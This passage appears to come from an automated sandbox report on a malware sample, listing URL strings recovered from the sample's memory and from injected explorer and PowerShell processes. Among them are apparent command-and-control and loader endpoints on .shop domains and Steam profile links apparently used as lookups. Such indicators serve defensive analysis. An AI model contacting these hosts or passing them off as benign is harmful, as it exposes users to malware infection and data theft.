Source: b6FArHy7yA.exe, 00000000.00000003.2631212950.00000000006C0000.00000004.00000020.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2643673826.00000000006C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://c3.digital-odyssey.shop/apiM
Source: b6FArHy7yA.exe, 00000000.00000003.2446211558.0000000003290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://c3.digital-odyssey.shop/apiwY08
Source: b6FArHy7yA.exe, 00000000.00000002.2775773721.000000000065C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://c3.digital-odyssey.shop/api~
Source: b6FArHy7yA.exe, 00000000.00000002.2775773721.0000000000644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://c3.digital-odyssey.shop/dH
Source: b6FArHy7yA.exe, 00000000.00000002.2775773721.000000000065C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://c3.digital-odyssey.shop/hk
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: b6FArHy7yA.exe, 00000000.00000003.2376453457.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376518880.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376589776.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: b6FArHy7yA.exe, 00000000.00000003.2376453457.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376518880.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376589776.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: b6FArHy7yA.exe, 00000000.00000003.2376453457.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376518880.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376589776.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006000000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=Yo5oji4nFN
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=i_iuPUaT8LXN&l=english&am
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060D2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=i_iuPUaT8LXN&l=english&_cdn=c
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=INiZALwvDIbb
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=EZbG2DEumYDH&l=engli
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=EZbG2DEumYDH&l=english&_
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=l1VAyDrxeeyo&l=en
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=l1VAyDrxeeyo&l=englis
Source: explorer.exe, 0000000D.00000002.4568603004.000000000611C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/badges/02_years/steamyears4_54.png
Source: explorer.exe, 0000000D.00000002.4568603004.000000000611C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/badges/13_gamecollector/1_54.png?v=4
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4568603004.000000000611C000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4568603004.000000000617E000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006045000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: explorer.exe, 0000000D.00000002.4568603004.0000000006178000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=znzQ
Source: explorer.exe, 0000000D.00000002.4568603004.0000000006178000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=3W_ge11SZngF&l=englis
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=3W_ge11SZngF&l=english&_c
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&a
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=XfYrwi9zUC4b&l=
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=XfYrwi9zUC4b&l=engl
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=engli
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&_
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=47omfdMZRDiz&l=engli
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=47omfdMZRDiz&l=english&_
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=iGFW_JMULCcZ&
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=iGFW_JMULCcZ&l=en
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&amp
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060D4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcD
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=wjxbx9up-ejd&amp
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=wjxbx9up-ejd&l=e
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=G3UTKgHH4xLD&l=engl
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=G3UTKgHH4xLD&l=english&
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=nc69vwog8R9p&l=
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=nc69vwog8R9p&l=engl
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=bpFp7zU77IKn&
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=bpFp7zU77IKn&l=en
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=n4_f9JKDa7wP&
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060D2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060D2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=0y-Qdz9keFm
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: b6FArHy7yA.exe, 00000000.00000003.2511303093.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: b6FArHy7yA.exe, 00000000.00000003.2511303093.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000005.00000002.4566667131.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.4566667131.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.4566667131.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: b6FArHy7yA.exe, 00000000.00000003.2376453457.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376518880.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376589776.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: b6FArHy7yA.exe, 00000000.00000003.2376453457.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376518880.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376589776.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: b6FArHy7yA.exe, 00000000.00000003.2376453457.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376518880.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376589776.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000005.00000002.4563026463.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060D8000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: b6FArHy7yA.exe, 00000000.00000003.2511303093.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: powershell.exe, 00000005.00000002.4563026463.0000000005018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipdajemua0.shop
Source: b6FArHy7yA.exe, 00000000.00000003.2773133434.00000000006A3000.00000004.00000020.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000002.2776267012.00000000006A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipdajemua0.shop/
Source: b6FArHy7yA.exe, 00000000.00000003.2773133434.00000000006A3000.00000004.00000020.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000002.2776267012.00000000006A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipdajemua0.shop/$
Source: powershell.exe, 00000005.00000002.4563026463.0000000004D31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4571654074.0000000007502000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.4563026463.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipdajemua0.shop/int_clp_inter.txt
Source: b6FArHy7yA.exe, 00000000.00000003.2773179800.000000000328F000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000002.2778086705.0000000003280000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000002.2775773721.000000000064F000.00000004.00000020.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000002.2778680036.0000000003290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipdajemua0.shop/int_clp_ldr_inter.txt
Source: b6FArHy7yA.exe, 00000000.00000003.2773179800.000000000328F000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000002.2778680036.0000000003290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipdajemua0.shop/int_clp_ldr_inter.txtM
Source: b6FArHy7yA.exe, 00000000.00000003.2773179800.000000000328F000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000002.2778680036.0000000003290000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipdajemua0.shop/int_clp_ldr_inter.txtx
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: powershell.exe, 00000005.00000002.4566667131.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.0000000006045000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://shared.cloudflare.steamstatic.com/store_item_assets/steam/apps/39210/2e45b2f419d0beed57ba1ff
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: explorer.exe, 0000000D.00000002.4568603004.0000000006178000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060AD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/%
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060A2000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060D8000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcastsheader_installsteam_btn
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/app/39210
Source: explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/app/39210https://steamcommunity.com/app/39210commentthread_Profile_765611
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.0000000006054000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/comment/Profile/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060D8000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/https://steamcommunity.com/workshop/https://steamcommunity.co
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060AD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/https://steamcommunity.com/
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CA000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060D8000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199047877636
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199047877636https://community.cloudflare
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060D8000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/https://store.steampowered.com/points/shop/https://store.stea
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4569181797.0000000006228000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561198006629154
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561198043764602
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561198257089751
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4569181797.0000000006228000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561198313255221
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561198979992671
Source: explorer.exe, 0000000D.00000002.4566230311.00000000060CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199003164182
Source: explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636
Source: explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636/badges
Source: explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636/badges/
Source: explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636/badges/1
Source: explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636/badges/13
Source: explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636/badges/1https://steamcommunity.com/profiles/76
Source: explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636/badges/Years
Source: explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4569181797.0000000006228000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199047877636/friends/
